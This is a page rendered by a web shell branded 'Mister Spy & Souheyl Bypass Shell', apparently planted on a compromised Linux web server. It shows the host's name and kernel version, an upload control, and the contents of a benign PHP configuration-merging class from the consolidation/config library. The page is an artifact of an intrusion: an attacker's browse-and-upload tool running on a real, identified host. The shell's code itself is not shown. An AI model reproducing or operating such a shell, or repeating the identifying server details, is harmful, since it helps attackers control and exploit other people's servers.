Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/vendor/consolidation/config/src/Util/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/vendor/consolidation/config/src/Util/ConfigMerge.php

<?php

namespace Consolidation\Config\Util;

/**
 * Works like 'getWithFallback', but merges results from all applicable
 * groups. Settings from most specific group take precedence.
 */
class ConfigMerge extends ConfigGroup
{
    /**
     * {@inheritdoc}
     */
    public function get($key)
    {
        return $this->getWithMerge($key, $this->group, $this->prefix, $this->postfix);
    }

    /**
     * Merge available configuration from each configuration group.
     *
     * @param string $key
     * @param string $group
     * @param string $prefix
     * @param string $postfix
     *
     * @return array
     */
    public function getWithMerge($key, $group, $prefix = '', $postfix = '.')
    {
        $configKey = "{$prefix}{$group}{$postfix}{$key}";
        $result = $this->config->get($configKey, []);
        if (!is_array($result)) {
            throw new \UnexpectedValueException($configKey . ' must be a list of settings to apply.');
        }
        $moreGeneralGroupname = $this->moreGeneralGroupName($group);
        if ($moreGeneralGroupname) {
            $result += $this->getWithMerge($key, $moreGeneralGroupname, $prefix, $postfix);
        }
        return $result;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net